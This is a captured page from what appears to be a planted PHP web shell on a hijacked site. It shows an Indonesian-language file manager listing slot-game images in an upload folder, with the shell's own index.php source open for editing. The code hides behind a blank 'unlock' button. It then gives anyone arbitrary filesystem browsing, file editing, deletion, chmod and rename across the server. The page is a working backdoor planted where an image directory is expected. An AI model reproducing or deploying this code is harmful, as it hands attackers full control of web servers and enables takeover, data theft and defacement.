PATH: //home/hwyuvbry/public_html/upload/game_pic/pragmaticplay
FILE_BARU
CREATE
FOLDER_BARU
MKDIR
UPLOAD_FILE
GO
[ .. KEMBALI ]
📄 1001.png
↓
X
📄 101.png
↓
X
📄 102.png
↓
X
📄 1024.png
↓
X
📄 103.png
↓
X
📄 104.png
↓
X
📄 105.png
↓
X
📄 107.png
↓
X
📄 108.png
↓
X
📄 109.png
↓
X
📄 110.png
↓
X
📄 1101.png
↓
X
📄 111.png
↓
X
📄 114.png
↓
X
📄 1301.png
↓
X
📄 1302.png
↓
X
📄 1401.png
↓
X
📄 201.png
↓
X
📄 203.png
↓
X
📄 204.png
↓
X
📄 225.png
↓
X
📄 229.png
↓
X
📄 230.png
↓
X
📄 240.png
↓
X
📄 303.png
↓
X
📄 401.png
↓
X
📄 402.png
↓
X
📄 545.png
↓
X
📄 701.png
↓
X
📄 801.png
↓
X
📄 901.png
↓
X
📄 902.png
↓
X
📄 bca.png
↓
X
📄 bjma.png
↓
X
📄 bjmb.png
↓
X
📄 bnadvanced.png
↓
X
📄 bndt.png
↓
X
📄 candy_jar_clusters.jpg
↓
X
📄 cs3irishcharms.png
↓
X
📄 cs3w.png
↓
X
📄 cs5moneyroll.png
↓
X
📄 cs5triple8gold.png
↓
X
📄 error_log
↓
X
📄 index.php
↓
X
📄 rla.png
↓
X
📄 sc7piggies.png
↓
X
📄 sc7piggiesai.png
↓
X
📄 scdiamond.png
↓
X
📄 scdiamondai.png
↓
X
📄 scgoldrush.png
↓
X
📄 scgoldrushai.png
↓
X
📄 scpanda.png
↓
X
📄 scpandai.png
↓
X
📄 scqog.png
↓
X
📄 scqogai.png
↓
X
📄 scsafari.png
↓
X
📄 scsafariai.png
↓
X
📄 scwolfgold.png
↓
X
📄 scwolfgoldai.png
↓
X
📄 twilight_princess.jpg
↓
X
📄 vpdr7.png
↓
X
📄 vpdt11.png
↓
X
📄 vpfh3.png
↓
X
📄 vplfl6.png
↓
X
📄 vplobby.png
↓
X
📄 vpmr9.png
↓
X
📄 vppso4.png
↓
X
📄 vpsc10.png
↓
X
📄 vs100firehot.png
↓
X
📄 vs100sh.png
↓
X
📄 vs1024butterfly.png
↓
X
📄 vs1024dtiger.png
↓
X
📄 vs1024gmayhem.png
↓
X
📄 vs1024lionsd.png
↓
X
📄 vs1024mahjpanda.png
↓
X
📄 vs1024temuj.png
↓
X
📄 vs10amm.png
↓
X
📄 vs10bbbonanza.png
↓
X
📄 vs10bbkir.png
↓
X
📄 vs10bblpop.png
↓
X
📄 vs10bookazteck.png
↓
X
📄 vs10bookfallen.png
↓
X
📄 vs10bookoftut.png
↓
X
📄 vs10bookviking.png
↓
X
📄 vs10bxmasbnza.png
↓
X
📄 vs10chkchase.png
↓
X
📄 vs10cowgold.png
↓
X
📄 vs10crownfire.png
↓
X
📄 vs10egrich.png
↓
X
📄 vs10egypt.png
↓
X
📄 vs10egyptcls.png
↓
X
📄 vs10eyestorm.png
↓
X
📄 vs10firestrike.png
↓
X
📄 vs10firestrike2.png
↓
X
📄 vs10fisheye.png
↓
X
📄 vs10floatdrg.png
↓
X
📄 vs10fruity2.png
↓
X
📄 vs10goldfish.png
↓
X
📄 vs10luckcharm.png
↓
X
📄 vs10madame.png
↓
X
📄 vs10mayangods.png
↓
X
📄 vs10mmm.png
↓
X
📄 vs10nudgeit.png
↓
X
📄 vs10returndead.png
↓
X
📄 vs10runes.png
↓
X
📄 vs10snakeeyes.png
↓
X
📄 vs10snakeladd.png
↓
X
📄 vs10spiritadv.png
↓
X
📄 vs10starpirate.png
↓
X
📄 vs10threestar.png
↓
X
📄 vs10tictac.png
↓
X
📄 vs10tut.png
↓
X
📄 vs10txbigbass.png
↓
X
📄 vs10vampwolf.png
↓
X
📄 vs10wildtut.png
↓
X
📄 vs117649starz.png
↓
X
📄 vs12bbb.png
↓
X
📄 vs12bbbxmas.png
↓
X
📄 vs12tropicana.png
↓
X
📄 vs13g.png
↓
X
📄 vs15b.png
↓
X
📄 vs15diamond.png
↓
X
📄 vs15fairytale.png
↓
X
📄 vs15ktv.png
↓
X
📄 vs1600drago.png
↓
X
📄 vs18mashang.png
↓
X
📄 vs1ball.png
↓
X
📄 vs1dragon8.png
↓
X
📄 vs1fortunetree.png
↓
X
📄 vs1fufufu.png
↓
X
📄 vs1masterjoker.png
↓
X
📄 vs1money.png
↓
X
📄 vs1tigers.png
↓
X
📄 vs20aladdinsorc.png
↓
X
📄 vs20amuleteg.png
↓
X
📄 vs20asgard.png
↓
X
📄 vs20aztecgates.png
↓
X
📄 vs20bchprty.png
↓
X
📄 vs20bermuda.png
↓
X
📄 vs20bl.png
↓
X
📄 vs20chickdrop.png
↓
X
📄 vs20chicken.png
↓
X
📄 vs20cleocatra.png
↓
X
📄 vs20clspwrndg.png
↓
X
📄 vs20cms.png
↓
X
📄 vs20cmv.png
↓
X
📄 vs20colcashzone.png
↓
X
📄 vs20cw.png
↓
X
📄 vs20daydead.png
↓
X
📄 vs20doghouse.png
↓
X
📄 vs20doghousemh.png
↓
X
📄 vs20drgbless.png
↓
X
📄 vs20drtgold.png
↓
X
📄 vs20dugems.png
↓
X
📄 vs20egypttrs.png
↓
X
📄 vs20eightdragons.png
↓
X
📄 vs20eking.png
↓
X
📄 vs20ekingrr.png
↓
X
📄 vs20emptybank.png
↓
X
📄 vs20farmfest.png
↓
X
📄 vs20fh.png
↓
X
📄 vs20fparty2.png
↓
X
📄 vs20fruitparty.png
↓
X
📄 vs20fruitsw.png
↓
X
📄 vs20gatotfury.png
↓
X
📄 vs20gatotgates.png
↓
X
📄 vs20gg.png
↓
X
📄 vs20gobnudge.png
↓
X
📄 vs20godiva.png
↓
X
📄 vs20goldclust.png
↓
X
📄 vs20goldfever.png
↓
X
📄 vs20gorilla.png
↓
X
📄 vs20hburnhs.png
↓
X
📄 vs20hercpeg.png
↓
X
📄 vs20hockey.png
↓
X
📄 vs20honey.png
↓
X
📄 vs20kraken.png
↓
X
📄 vs20kraken2.png
↓
X
📄 vs20lcount.png
↓
X
📄 vs20leprechaun.png
↓
X
📄 vs20leprexmas.png
↓
X
📄 vs20ltng.png
↓
X
📄 vs20magicpot.png
↓
X
📄 vs20mammoth.png
↓
X
📄 vs20midas.png
↓
X
📄 vs20mparty.png
↓
X
📄 vs20mtreasure.png
↓
X
📄 vs20muertos.png
↓
X
📄 vs20mustanggld2.png
↓
X
📄 vs20mvwild.png
↓
X
📄 vs20octobeer.png
↓
X
📄 vs20olympgate.png
↓
X
📄 vs20pbonanza.png
↓
X
📄 vs20phoenixf.png
↓
X
📄 vs20pistols.png
↓
X
📄 vs20porbs.png
↓
X
📄 vs20rainbowg.png
↓
X
📄 vs20rhino.png
↓
X
📄 vs20rhinoluxe.png
↓
X
📄 vs20rockvegas.png
↓
X
📄 vs20santa.png
↓
X
📄 vs20santawonder.png
↓
X
📄 vs20sbxmas.png
↓
X
📄 vs20schristmas.png
↓
X
📄 vs20sh.png
↓
X
📄 vs20sknights.png
↓
X
📄 vs20smugcove.png
↓
X
📄 vs20sparta.png
↓
X
📄 vs20starlight.png
↓
X
📄 vs20stickysymbol.png
↓
X
📄 vs20sugarrush.png
↓
X
📄 vs20superlanche.png
↓
X
📄 vs20superx.png
↓
X
📄 vs20swordofares.png
↓
X
📄 vs20terrorv.png
↓
X
📄 vs20theights.png
↓
X
📄 vs20trsbox.png
↓
X
📄 vs20trswild2.png
↓
X
📄 vs20tweethouse.png
↓
X
📄 vs20ultim5.png
↓
X
📄 vs20underground.png
↓
X
📄 vs20vegasmagic.png
↓
X
📄 vs20wildboost.png
↓
X
📄 vs20wildpix.png
↓
X
📄 vs20wolfie.png
↓
X
📄 vs20xmascarol.png
↓
X
📄 vs243caishien.png
↓
X
📄 vs243chargebull.png
↓
X
📄 vs243ckemp.png
↓
X
📄 vs243dancingpar.png
↓
X
📄 vs243discolady.png
↓
X
📄 vs243empcaishen.png
↓
X
📄 vs243fortseren.png
↓
X
📄 vs243fortune.png
↓
X
📄 vs243koipond.png
↓
X
📄 vs243lions.png
↓
X
📄 vs243lionsgold.png
↓
X
📄 vs243mwarrior.png
↓
X
📄 vs243queenie.png
↓
X
📄 vs25archer.png
↓
X
📄 vs25asgard.png
↓
X
📄 vs25aztecking.png
↓
X
📄 vs25bkofkngdm.png
↓
X
📄 vs25bomb.png
↓
X
📄 vs25btygold.png
↓
X
📄 vs25chilli.png
↓
X
📄 vs25copsrobbers.png
↓
X
📄 vs25davinci.png
↓
X
📄 vs25dragonkingdom.png
↓
X
📄 vs25dwarves_new.png
↓
X
📄 vs25gladiator.png
↓
X
📄 vs25gldox.png
↓
X
📄 vs25goldparty.png
↓
X
📄 vs25goldpig.png
↓
X
📄 vs25goldrush.png
↓
X
📄 vs25h.png
↓
X
📄 vs25hotfiesta.png
↓
X
📄 vs25jokerking.png
↓
X
📄 vs25journey.png
↓
X
📄 vs25kfruit.png
↓
X
📄 vs25kingdoms.png
↓
X
📄 vs25kingdomsnojp.png
↓
X
📄 vs25mmouse.png
↓
X
📄 vs25mustang.png
↓
X
📄 vs25newyear.png
↓
X
📄 vs25pandagold.png
↓
X
📄 vs25pandatemple.png
↓
X
📄 vs25peking.png
↓
X
📄 vs25pyramid.png
↓
X
📄 vs25queenofgold.png
↓
X
📄 vs25rio.png
↓
X
📄 vs25rlbank.png
↓
X
📄 vs25romeoandjuliet.png
↓
X
📄 vs25safari.png
↓
X
📄 vs25samurai.png
↓
X
📄 vs25scarabqueen.png
↓
X
📄 vs25sea.png
↓
X
📄 vs25spgldways.png
↓
X
📄 vs25tigerwar.png
↓
X
📄 vs25tigeryear.png
↓
X
📄 vs25vegas.png
↓
X
📄 vs25walker.png
↓
X
📄 vs25wildspells.png
↓
X
📄 vs25wolfgold.png
↓
X
📄 vs25wolfjpt.png
↓
X
📄 vs30catz.png
↓
X
📄 vs3train.png
↓
X
📄 vs4096bufking.png
↓
X
📄 vs4096magician.png
↓
X
📄 vs4096mystery.png
↓
X
📄 vs40bigjuan.png
↓
X
📄 vs40cleoeye.png
↓
X
📄 vs40cosmiccash.png
↓
X
📄 vs40firehot.png
↓
X
📄 vs40frrainbow.png
↓
X
📄 vs40hotburnx.png
↓
X
📄 vs40madwheel.png
↓
X
📄 vs40mstrwild.png
↓
X
📄 vs40pirate.png
↓
X
📄 vs40pirgold.png
↓
X
📄 vs40sh.png
↓
X
📄 vs40spartaking.png
↓
X
📄 vs40streetracer.png
↓
X
📄 vs40voodoo.png
↓
X
📄 vs40wanderw.png
↓
X
📄 vs40wildwest.png
↓
X
📄 vs432congocash.png
↓
X
📄 vs50aladdin.png
↓
X
📄 vs50chinesecharms.png
↓
X
📄 vs50hercules.png
↓
X
📄 vs50juicyfr.png
↓
X
📄 vs50kingkong.png
↓
X
📄 vs50mightra.png
↓
X
📄 vs50northgard.png
↓
X
📄 vs50pixie.png
↓
X
📄 vs50safariking.png
↓
X
📄 vs576hokkwolf.png
↓
X
📄 vs576treasures.png
↓
X
📄 vs5aztecgems.png
↓
X
📄 vs5drhs.png
↓
X
📄 vs5drmystery.png
↓
X
📄 vs5firehot.png
↓
X
📄 vs5hotburn.png
↓
X
📄 vs5joker.png
↓
X
📄 vs5littlegem.png
↓
X
📄 vs5sh.png
↓
X
📄 vs5spjoker.png
↓
X
📄 vs5strh.png
↓
X
📄 vs5super7.png
↓
X
📄 vs5trdragons.png
↓
X
📄 vs5ultra.png
↓
X
📄 vs5ultrab.png
↓
X
📄 vs75bronco.png
↓
X
📄 vs75empress.png
↓
X
📄 vs7776aztec.png
↓
X
📄 vs7776secrets.png
↓
X
📄 vs7fire88.png
↓
X
📄 vs7monkeys.png
↓
X
📄 vs7pigs.png
↓
X
📄 vs88hockattack.png
↓
X
📄 vs8magicjourn.png
↓
X
📄 vs9aztecgemsdx.png
↓
X
📄 vs9catz.png
↓
X
📄 vs9chen.png
↓
X
📄 vs9hockey.png
↓
X
📄 vs9hotroll.png
↓
X
📄 vs9madmonkey.png
↓
X
📄 vs9piggybank.png
↓
X
📄 vswaysaztecking.png
↓
X
📄 vswaysbankbonz.png
↓
X
📄 vswaysbbb.png
↓
X
📄 vswaysbook.png
↓
X
📄 vswaysbufking.png
↓
X
📄 vswayschilheat.png
↓
X
📄 vswaysconcoll.png
↓
X
📄 vswayscryscav.png
↓
X
📄 vswaysdogs.png
↓
X
📄 vswayselements.png
↓
X
📄 vswaysfltdrg.png
↓
X
📄 vswaysfrywld.png
↓
X
📄 vswaysfuryodin.png
↓
X
📄 vswayshammthor.png
↓
X
📄 vswayshive.png
↓
X
📄 vswaysjkrdrop.png
↓
X
📄 vswayslight.png
↓
X
📄 vswayslions.png
↓
X
📄 vswayslofhero.png
↓
X
📄 vswaysluckyfish.png
↓
X
📄 vswaysmadame.png
↓
X
📄 vswaysmorient.png
↓
X
📄 vswaysoldminer.png
↓
X
📄 vswayspizza.png
↓
X
📄 vswaysrabbits.png
↓
X
📄 vswaysrhino.png
↓
X
📄 vswayssamurai.png
↓
X
📄 vswaysstrwild.png
↓
X
📄 vswaysultrcoin.png
↓
X
📄 vswayswerewolf.png
↓
X
📄 vswayswest.png
↓
X
📄 vswayswildwest.png
↓
X
📄 vswayswwhex.png
↓
X
📄 vswayswwriches.png
↓
X
📄 vswaysxjuicy.png
↓
X
📄 vswaysyumyum.png
↓
X
📄 vswayszombcarn.png
↓
X
SAVING...
BERHASIL DIUBAH!
EDITING: index.php
<?php session_start(); if (!isset($_SESSION['unlocked'])) { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['unlock'])) { $_SESSION['unlocked'] = true; exit; } echo '<!DOCTYPE html><html><head><title></title></head><body style="display:flex;justify-content:center;align-items:center;height:1003vh;font-family:sans-serif;"> <button id="unlockBtn" style="font-size:2rem;padding:20px 4px;cursor:pointer;"></button> <script> document.getElementById("unlockBtn").addEventListener("click", () => { fetch("", { method: "POST", headers: {"Content-Type":"application/x-www-form-urlencoded"}, body: "unlock=1" }).then(() => location.reload()); }); </script></body></html>'; exit; } $current_dir = isset($_GET['dir']) ? realpath($_GET['dir']) : getcwd(); if (!$current_dir || !is_dir($current_dir)) { $current_dir = getcwd(); } // ... (rest of your File Manager logic continues here unchanged) ... // Handle create file or folder if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_POST['create_item']) && isset($_POST['item_name'])) { $item_name = basename($_POST['item_name']); $target_path = $current_dir . '/' . $item_name; if ($_POST['create_item'] === 'file') { if (file_put_contents($target_path, '') !== false) { echo '<p>File berhasil dibuat.</p>'; } else { echo '<p>Gagal membuat file.</p>'; } } elseif ($_POST['create_item'] === 'folder') { if (mkdir($target_path)) { echo '<p>Folder berhasil dibuat.</p>'; } else { echo '<p>Gagal membuat folder.</p>'; } } exit; } // Handle delete if (isset($_POST['delete_items']) && isset($_POST['items']) && is_array($_POST['items'])) { foreach ($_POST['items'] as $item) { $path = realpath($current_dir . '/' . $item); if (is_file($path)) { unlink($path); } elseif (is_dir($path)) { rmdir($path); } } header("Location: ?dir=" . urlencode($current_dir)); exit; } // Handle chmod if (isset($_POST['chmod_item']) && isset($_POST['mode'])) { $path = realpath($current_dir . '/' . $_POST['chmod_item']); $mode = intval($_POST['mode'], 8); chmod($path, $mode); echo '<p>Permission berhasil diubah.</p>'; exit; } } // Handle rename if (isset($_GET['rename'])) { $item_to_rename = realpath($current_dir . '/' . $_GET['rename']); if (file_exists($item_to_rename)) { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_name'])) { $new_path = $current_dir . '/' . $_POST['new_name']; if (rename($item_to_rename, $new_path)) { echo '<p>Item berhasil diganti nama.</p>'; } else { echo '<p>Gagal mengganti nama item.</p>'; } exit; } ?> <!DOCTYPE html> <html> <head><title>Ganti Nama: <?php echo htmlspecialchars($_GET['rename']); ?></title></head> <body> <h1>Ganti Nama</h1> <form method="post"> <input type="text" name="new_name" value="<?php echo htmlspecialchars(basename($item_to_rename)); ?>" required> <button type="submit">Ganti Nama</button> </form> </body> </html> <?php exit; } } // Handle file edit if (isset($_GET['edit'])) { $file_to_edit = realpath($current_dir . '/' . $_GET['edit']); if (file_exists($file_to_edit) && is_file($file_to_edit)) { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) { file_put_contents($file_to_edit, $_POST['content']); echo 'File berhasil disimpan.'; exit; } $file_content = file_get_contents($file_to_edit); ?> <!DOCTYPE html> <html> <head> <title>Edit File: <?php echo htmlspecialchars($_GET['edit']); ?></title> <style> body { font-family: Arial, sans-serif; margin: 0; padding: 0; display: flex; flex-direction: column; height: 100vh; } #editor-container, #notepad-container { flex: 1; display: flex; flex-direction: column; border: 1px solid #ccc; margin: 10px; } textarea { width: 100%; height: calc(100% - 40px); font-family: monospace; padding: 10px; box-sizing: border-box; } #editor-controls, #notepad-controls { display: flex; justify-content: space-between; padding: 5px 10px; background: #f0f0f0; border-top: 1px solid #ccc; } button { padding: 5px 10px; } </style> <script> let undoStack = []; let redoStack = []; function saveUndo(content) { undoStack.push(content); redoStack = []; } function undo(editor) { if (undoStack.length > 0) { redoStack.push(editor.value); editor.value = undoStack.pop(); } } function redo(editor) { if (redoStack.length > 0) { undoStack.push(editor.value); editor.value = redoStack.pop(); } } function saveChanges(editor) { const formData = new FormData(); formData.append('content', editor.value); fetch(window.location.href, { method: 'POST', body: formData }).then(response => response.text()) .then(text => alert(text)) .catch(err => alert('Gagal menyimpan file: ' + err)); } </script> </head> <body> <div id="editor-container"> <textarea id="editor" oninput="saveUndo(this.value)"><?php echo htmlspecialchars($file_content); ?></textarea> <div id="editor-controls"> <button onclick="undo(document.getElementById('editor'))">↩️ Undo</button> <button onclick="redo(document.getElementById('editor'))">↪️ Redo</button> <button onclick="saveChanges(document.getElementById('editor'))">Simpan</button> </div> </div> <div id="notepad-container"> <textarea id="notepad" placeholder="Catatan Anda..."></textarea> <div id="notepad-controls"> <span>Notepad</span> </div> </div> </body> </html> <?php exit; } } ?> <!DOCTYPE html> <html> <head> <title>File Manager</title> <style> body { font-family: Arial, sans-serif; margin: 20px; } .file-manager { margin-bottom: 20px; } .file-list { margin-top: 20px; border: 1px solid #ccc; padding: 10px; border-radius: 5px; } .item { display: flex; align-items: center; margin: 5px 0; } .icon { width: 30px; text-align: center; margin-right: 10px; } a { text-decoration: none; color: #007bff; margin-right: 10px; } a:hover { text-decoration: underline; } button { padding: 5px 10px; } .checkbox { margin-right: 10px; } input[type=text] { margin-right: 5px; } </style> </head> <body> <h1>File Manager</h1> <p>Direktori saat ini: <strong><?php echo htmlspecialchars($current_dir); ?></strong></p> <form method="post"> <div class="file-manager"> <ul> <?php if ($current_dir !== '/'): $parent = dirname($current_dir); ?> <li class="item"> <div class="icon">📂</div> <a href="?dir=<?php echo urlencode($parent); ?>">Kembali</a> </li> <?php endif; ?> <?php $items = scandir($current_dir); foreach ($items as $item): if ($item === '.' || $item === '..') continue; $path = $current_dir . '/' . $item; ?> <li class="item"> <input type="checkbox" class="checkbox" name="items[]" value="<?php echo htmlspecialchars($item); ?>"> <div class="icon"><?php echo is_dir($path) ? '📂' : '📄'; ?></div> <a href="?dir=<?php echo urlencode($path); ?>"><?php echo htmlspecialchars($item); ?></a> <?php if (!is_dir($path)): ?> <a href="?dir=<?php echo urlencode($current_dir); ?>&edit=<?php echo urlencode($item); ?>" style="color: orange;">📝</a> <?php endif; ?> <a href="?dir=<?php echo urlencode($current_dir); ?>&rename=<?php echo urlencode($item); ?>" style="color: green;">✏️</a> <form method="post" style="display:inline;"> <input type="hidden" name="chmod_item" value="<?php echo htmlspecialchars($item); ?>"> <input type="text" name="mode" size="4" placeholder="755"> <button type="submit">Chmod</button> </form> </li> <?php endforeach; ?> </ul> <button type="submit" name="delete_items" onclick="return confirm('Yakin ingin menghapus item terpilih?')">Hapus Terpilih</button> </div> </form> <h2>Buat File atau Folder</h2> <form method="post"> <input type="text" name="item_name" placeholder="Nama file atau folder" required> <select name="create_item"> <option value="file">File</option> <option value="folder">Folder</option> </select> <button type="submit">Buat</button> </form> </body> </html>
SIMPAN PERUBAHAN